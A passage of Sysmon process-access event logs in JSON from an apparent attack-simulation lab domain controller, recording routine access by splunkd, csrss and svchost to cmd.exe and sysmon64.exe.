AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3685,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010EF580500}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010EF580500}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3686,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010EF580500}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010EF580500}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3687,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3688,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3689,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3690,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3691,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3692,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 